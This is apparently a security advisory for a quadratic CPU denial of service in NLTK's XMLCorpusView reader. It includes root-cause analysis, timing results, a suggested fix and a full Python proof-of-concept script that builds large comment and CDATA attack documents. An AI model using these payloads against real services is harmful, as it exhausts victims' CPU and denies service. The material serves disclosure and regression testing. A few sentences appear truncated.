affected: PyPI
nltk>= 3.6—nltk.corpus.reader.xmldocs.XMLCorpusViewstreaming read (and thenps_chat/framenetreaders built on it) dynamically reproduced:3.6(6/6 checks),3.9.2(6/6),3.10.3(6/6) anddevelop6818767b9(6/6)
Source references (nltk/corpus/reader/xmldocs.py:NNN) are to commit 6818767b99c24659107eb2be9bccd32a3d4bf045 (develop, v3.10.3-15-g6818767b9). The released v3.10.3 wheel's xmldocs.py is byte-identical to that commit, so the same line numbers apply to the released wheel.
An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because XMLCorpusView._read_xml_fragment (nltk/corpus/reader/xmldocs.py) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead. XMLCorpusView is NLTK's documented streaming API for XML corpora and is instantiated directly by the NPSChatCorpusReader and FramenetCorpusReader readers; the module header (xmldocs.py:16-20) explicitly handles untrusted corpus XML. The in_tag guard added to this function for GHSA-vp2x covers only a single oversized <...> tag and leaves the CDATA/comment path quadratic in the current release.
Root cause: _read_xml_fragment (xmldocs.py:273-338) accumulates the file into one fragment string in _BLOCK_SIZE (1024) character chunks (xmldocs.py:123, 298-299). After every block that is not yet a well-formed prefix, the fragment is re-validated against _VALID_XML_RE. Two whole-buffer operations dominate:
# xmldocs.py:308
if not in_tag and self._VALID_XML_RE.match(fragment): # whole-buffer match (O(len))
return fragment
# xmldocs.py:312
if re.search("[<>]", fragment).group(0) == ">": # O(1) for this input class:
... # the document starts with '<'
# xmldocs.py:329
if self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))
...
For this input class the re.search probe at xmldocs.py:312 is O(1): the fragment always starts with < (e.g. <root>…), so the first </> character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at xmldocs.py:308 and xmldocs.py:329 (the latter scans the buffer up to the most recent <, which for this input sits near the end of the buffer).
_VALID_XML_RE (xmldocs.py:238-249) is a linear regex (its tempered-dot comment/CDATA bodies (?:(?!-->).)* / (?:(?!\]\]>).)* scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the match itself fails after scanning the whole buffer. With an unclosed-across-blocks CDATA or comment, every one of the n/1024 blocks pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.
The in_tag guard added for GHSA-vp2x (xmldocs.py:283-305) tracks only bare </> characters: it is True inside an unclosed <...> tag and, in that state, skips only the line-308 match. It never represents "the fragment sits inside an unclosed CDATA or comment" — XML allows arbitrary </> inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at xmldocs.py:283-289 even documents the intended linearity contract ("re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)"); the guard implements it for the tag branch only.
The single-match cost is linear, not super-linear: the embedded script measures _VALID_XML_RE.match() on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.
Version nuance (all dynamically verified):
3.10.3 / develop (guard present): the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.3.6 / 3.9.2 (pre-guard): these releases use a lazy _VALID_XML_RE whose CDATA alternative <![CDATA[.*?]]> never matches (the [CDATA[.*?] substring is parsed as a character class), so a CDATA document is rejected with ValueError: Unexpected end of file: tag not closed after the quadratic scan — a separate functional defect. The comment variant is a clean well-formed document on these releases and is likewise quadratic (t(4n)/t(n) ≈ 14-16); the oversized-tag control also reads quadratically there (ratio ≈ 16), i.e. the whole unclosed-construct class GHSA-vp2x addressed is unpatched.The self-checking script embedded at the end of this advisory builds a well-formed XML document whose root holds a large comment containing </> characters with no --> before the final marker, drives XMLCorpusView's fragment reader at sizes n and 4n, and asserts the doubling ratio is far above linear. It also runs the CDATA variant, a single-match linearity check (proving the regex itself is not the super-linear factor), a linear-control giant tag, a well-formedness check, and a public-API reachability check, exiting non-zero on any failure.
Scope note: dynamically run on 3.6, 3.9.2, 3.10.3 (released wheels from PyPI / the local 3.10.3 wheel) and develop 6818767b9 (checked out source). No releases outside those were run; the >= 3.6 bound is the oldest release tested. Environment for the recorded runs: CPython 3.10.12, Linux x86_64. Input sizes are 64 KiB vs 256 KiB (attack) and 1 MiB vs 4 MiB (linear control), so a full run takes a few seconds.
Live transcript (recorded run on the 3.10.3 wheel; the 3.6, 3.9.2 and develop 6818767b9 runs are summarized below):
[TIMING] unclosed comment n=65558 t=0.083s 4n=262166 t=1.070s ratio=12.9 (n->returned)
[PASS] attack document is well-formed XML (parses with ElementTree) (both sizes parse; root element tag='root')
[PASS] unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4) (measured 12.9)
[INFO] in-tag guard present in module: True
[TIMING] CDATA variant n=65561 t=0.142s 4n=262169 t=2.169s ratio=15.3 (n->returned)
[PASS] CDATA variant also super-linear on guard-present build (measured 15.3)
[TIMING] single _VALID_XML_RE.match 256KiB=0.0083s 512KiB=0.0741s 1MiB=0.1419s 2MiB=0.2804s
[PASS] single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear) (measured 4x ratio=3.79)
[TIMING] oversized tag (control) n=1048576 t=0.059s 4n=4194304 t=0.242s ratio=4.1
[PASS] oversized single tag reads linearly (guard present; t(4n)/t(n) < 8) (measured 4.1)
[PASS] public API list(XMLCorpusView(path, '.*')) reads the attack document (1 item(s) read from 65558-byte document)
RESULT 6/6 checks passed, 0 failed
Other runs (all 6/6; essential lines only):
3.6 (pre-guard): comment ratio=15.5 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=1.19
3.9.2 (pre-guard): comment ratio=15.0 (returned); CDATA -> ValueError; tag control ratio=16.8; single-match 4x ratio=0.95
develop 6818767b9: comment ratio=13.0 (returned); CDATA ratio=15.3 (returned); tag control ratio=3.9; single-match 4x ratio=3.76
(The pre-guard single-match ratios are meaningless — their dead CDATA alternative fails in O(1) — and are reported for completeness only.)
XMLCorpusView (or to the nps_chat / framenet readers) from a source not fully trusted — the exact "untrusted input" threat model in SECURITY.md. The input is ordinary, well-formed XML; nothing about it is malformed or rejected by any parser.</> characters and the terminator at the end. No privilege and no user interaction are required beyond the automated read of the file — the same delivery model as other NLTK resource-loading issues (SECURITY.md), where a service, CI pipeline or notebook ingests a corpus file (uploaded, packaged, or fetched by the loader); this justifies UI:N and AV:N in the score above.Suggested fix: extend the incremental state tracking to CDATA/comment/DOCTYPE like in_tag already does for tags: while scanning each newly-read block, also track whether the fragment sits inside an unclosed <!... construct (no ]]> / --> / doctype terminator yet), and skip the whole-buffer matches at xmldocs.py:308 and xmldocs.py:329 whenever the fragment is provably non-well-formed for that reason — the same behaviour-preserving argument the in-tag guard already documents. Alternatively, only re-validate the newly-read block plus a bounded suffix instead of the whole growing buffer. Add regression tests mirroring the existing nltk/test/unit/test_quadratic_dos.py cluster (GHSA-vp2x) with comment and CDATA payloads asserting the doubling ratio stays linear.
#!/usr/bin/env python3
"""Self-checking reproduction of the NLTK XMLCorpusView algorithmic-complexity
CPU DoS for unclosed-across-blocks CDATA / comments (O(n^2) read cost).
Root cause: ``XMLCorpusView._read_xml_fragment`` (``nltk/corpus/reader/xmldocs.py``)
reads a file in 1024-char blocks and accumulates them into a single ``fragment``.
After every block that is not yet a well-formed prefix, it re-runs a *linear*
pass over the whole growing buffer -- ``_VALID_XML_RE.match(fragment)`` and, when
it backtracks, ``_VALID_XML_RE.match(fragment[:last_lt])``. (A third probe,
``re.search("[<>]", fragment)``, is O(1) here because the document starts with
'<'.)
For a fragment that stays "unclosed"
across many blocks -- a CDATA section or comment whose terminator (``]]>`` /
``-->``) lies far ahead -- every block costs O(current buffer length), so a
single document of N bytes costs ~O(N^2) character operations. The in-tag guard
added for GHSA-vp2x tracks only a bare '<'..'>' tag and is blind to unclosed
CDATA / comment state, so this class remains quadratic in the current release.
The attack documents are *well-formed* XML: comments and CDATA may legally
contain '<' and '>'.
Controls:
1. Well-formedness: the attack document parses with ElementTree.
2. Linear baseline on the same reader: an oversized *single tag* of the same
size reads linearly when the in-tag guard is present (the fixed GHSA-vp2x
case). On pre-guard builds it is quadratic too -- reported, not asserted.
3. Public API reachability: ``list(XMLCorpusView(path, ".*"))`` drives the
same sink.
Assertions:
- attack doubling ratio t(4n)/t(n) must clearly exceed the linear bound (~4).
- tag-control doubling ratio must be ~linear (< 8) when the guard is present.
Usage:
python3 repro_xmlcorpusview_unclosed_cdata.py
Env:
PYTHONPATH : site-packages of the nltk version under test (required)
NLTK_BODY_SIZE : comment/CDATA body size in bytes (default 65536)
"""
import io
import os
import shutil
import sys
import tempfile
import time
import xml.etree.ElementTree as ET
# Point NLTK's sandbox at a private data root so the public API reachability
# check below may open its own corpus file (pathsec only trusts data roots and
# private temp dirs; a shared /tmp is not an allowed root).
_DATA_ROOT = os.environ.get("NLTK_DATA")
_CLEANUP_ROOT = None
if not _DATA_ROOT:
_DATA_ROOT = tempfile.mkdtemp(prefix="nltk_xmlview_")
os.environ["NLTK_DATA"] = _DATA_ROOT
_CLEANUP_ROOT = _DATA_ROOT
from nltk.corpus.reader.xmldocs import XMLCorpusView
def elapsed(fn):
start = time.perf_counter()
fn()
return time.perf_counter() - start
def build_comment_doc(body_size):
# Well-formed XML: one root, one large comment containing '<' and '>' and
# no '-->' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><!-- " + body + " --></root>"
def build_cdata_doc(body_size):
# Well-formed XML: one root, one large CDATA containing '<' and '>' and no
# ']]>' before the closing marker.
body = ("a<b<c<d>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body + "]]></root>"
def build_unclosed_cdata_prefix(body_size):
# The line-308 match input: an accumulating fragment that is still inside
# an unclosed CDATA (no ']]>' yet). A distinct body alphabet avoids CPU-cache
# reuse with the attack-timing buffers above, which would skew the timing.
body = ("x<y<z<w>" * ((body_size // 8) + 1))[:body_size]
return "<root><![CDATA[" + body
def build_giant_tag(body_size):
# Control: a single oversized '<a ...>' tag, no '>' until the very end.
return "<a " + ("x" * body_size) + ">"
def guard_present():
import nltk.corpus.reader.xmldocs as m
with open(m.__file__, encoding="utf-8") as fh:
return "in_tag" in fh.read()
view = XMLCorpusView.__new__(XMLCorpusView)
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print(f"[{'PASS' if cond else 'FAIL'}] {name}" + (f" ({detail})" if detail else ""))
def read_frag(doc):
"""Drive _read_xml_fragment, tolerating the EOF ValueError that pre-guard
releases raise for CDATA-containing documents."""
try:
return view._read_xml_fragment(io.StringIO(doc))
except ValueError as exc:
return "ValueError: %s" % exc
def time_ratio(build, n1, n4):
d1, d4 = build(n1), build(n4)
t1 = elapsed(lambda: read_frag(d1))
t4 = elapsed(lambda: read_frag(d4))
return d1, d4, t1, t4
# ---- Sizes ---------------------------------------------------------------
body = int(os.environ.get("NLTK_BODY_SIZE", "65536"))
tag1, tag4 = 1 << 20, 4 << 20 # 1 MiB / 4 MiB (guard-present linear baseline)
# ---- Primary attack: large comment unclosed until its final '-->' ---------
c1, c4, t1, t4 = time_ratio(build_comment_doc, body, 4 * body)
ratio = t4 / t1
out1 = read_frag(c1) # outcome probe (returned string vs ValueError)
outcome = "returned" if isinstance(out1, str) and not out1.startswith("ValueError") else out1
print(f"[TIMING] unclosed comment n={len(c1)} t={t1:.3f}s "
f"4n={len(c4)} t={t4:.3f}s ratio={ratio:.1f} (n->{outcome})")
check(
"attack document is well-formed XML (parses with ElementTree)",
ET.fromstring(c1).tag == "root" and ET.fromstring(c4).tag == "root",
f"both sizes parse; root element tag='{ET.fromstring(c1).tag}'",
)
check(
"unclosed-comment read cost scales super-linearly (t(4n)/t(n) > 10; linear ~4)",
ratio > 10.0,
f"measured {ratio:.1f}",
)
# ---- CDATA variant ---------------------------------------------------------
has_guard = guard_present()
print(f"[INFO] in-tag guard present in module: {has_guard}")
d1, d4, td1, td4 = time_ratio(build_cdata_doc, body, 4 * body)
dratio = td4 / td1
dout = read_frag(d1)
doutcome = "returned" if isinstance(dout, str) and not dout.startswith("ValueError") else dout
print(f"[TIMING] CDATA variant n={len(d1)} t={td1:.3f}s "
f"4n={len(d4)} t={td4:.3f}s ratio={dratio:.1f} (n->{doutcome})")
if has_guard:
check(
"CDATA variant also super-linear on guard-present build",
dratio > 10.0,
f"measured {dratio:.1f}",
)
else:
# Pre-guard releases cannot validate any CDATA (their regex's CDATA
# alternative never matches), so the fragment ends in ValueError -- a
# separate functional defect; report only.
check(
"pre-guard CDATA path ends in ValueError (regex cannot validate CDATA; report-only)",
doutcome.startswith("ValueError"),
str(doutcome),
)
# ---- Single-match linearity of _VALID_XML_RE ------------------------------
# The quadratic total comes from re-running a *linear* whole-buffer match on
# every block, not from the regex itself backtracking super-linearly (a single
# match would then also blow up with input size). Verify single-match scaling.
# The assertion uses the 512 KiB -> 2 MiB pair (the 256 KiB size runs ~4x
# faster in an already-warmed engine, so it is reported but not asserted on).
def best_match_ms(buf):
view._VALID_XML_RE.match(buf) # warm-up (cache pattern + char-class state)
return min(elapsed(lambda: view._VALID_XML_RE.match(buf)) for _ in range(3))
ms = {s: best_match_ms(build_unclosed_cdata_prefix(s)) for s in (1 << 18, 1 << 19, 1 << 20, 1 << 21)}
print(f"[TIMING] single _VALID_XML_RE.match 256KiB={ms[1 << 18]:.4f}s 512KiB={ms[1 << 19]:.4f}s "
f"1MiB={ms[1 << 20]:.4f}s 2MiB={ms[1 << 21]:.4f}s")
check(
"single match scales ~linearly (512KiB->2MiB 4x input ~4x time; not super-linear)",
ms[1 << 21] / ms[1 << 19] < 6.0,
f"measured 4x ratio={ms[1 << 21] / ms[1 << 19]:.2f}",
)
# ---- Control: giant single tag on the same reader ---------------------------
if has_guard:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, tag1, tag4)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (control) n={tag1} t={tg1:.3f}s "
f"4n={tag4} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag reads linearly (guard present; t(4n)/t(n) < 8)",
gratio < 8.0,
f"measured {gratio:.1f}",
)
else:
g1, g4, tg1, tg4 = time_ratio(build_giant_tag, body, 4 * body)
gratio = tg4 / tg1
print(f"[TIMING] oversized tag (no guard) n={len(g1)} t={tg1:.3f}s "
f"4n={len(g4)} t={tg4:.3f}s ratio={gratio:.1f}")
check(
"oversized single tag also super-linear pre-guard (report-only)",
gratio > 4.0,
f"measured {gratio:.1f}",
)
# ---- Reachability: the public XMLCorpusView API drives the same sink -------
path = os.path.join(_DATA_ROOT, "attack.xml")
with open(path, "w", encoding="utf-8") as fh:
fh.write(c1)
try:
items = list(XMLCorpusView(path, ".*"))
check(
"public API list(XMLCorpusView(path, '.*')) reads the attack document",
len(items) >= 1,
f"{len(items)} item(s) read from {len(c1)}-byte document",
)
finally:
if _CLEANUP_ROOT:
shutil.rmtree(_CLEANUP_ROOT, ignore_errors=True)
passed = sum(results)
failed = len(results) - passed
print(f"RESULT {passed}/{len(results)} checks passed, {failed} failed")
sys.exit(0 if failed == 0 else 1)
Status: IN PROGRESS (fix on an open pull request, not yet on develop).
Two open pull requests carry a fix.
PR: #3753 "[Do not merge yet] Fix GHSA-8mgp-746c-j5xp: URL-scheme bypass of pathsec.validate_path", open; head da55cab0e at the time of this note (a develop merge on top of 238f81500, the head on which the verdicts below were measured). Fix commits: cf12a5e6a (XMLCorpusView._read_xml_fragment grows its read window geometrically so an unclosed CDATA or comment is re-scanned O(log n) times; SeekableUnicodeStreamReader.readline searches only the fresh span) and 2acc9bd97 (readline accumulates spans in a list). Probe: nltk/test/unit/security_probes/ghsa_j8g8_j4j7_8j54.py on that PR; verdict on its head: FIXED (readline scales 4.1x over a 4x input).
PR: #3895 "[WIP] Bound algorithmic-DoS and uncontrolled-recursion vectors (CWE-400/407/674/1333)", open, head b22ebe144. Fix commit: 002bcf714 (bounds the same two sinks); the #3753 probe run against this head: FIXED (1.6x over a 4x input).
The probe run against develop 2fa3f48fe: VULNERABLE (readline scales 18.7x over a 4x input).
Release: none.
{
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-19T23:54:59Z",
"nvd_published_at": "2026-11-19T18:18:06Z",
"severity": "HIGH"
}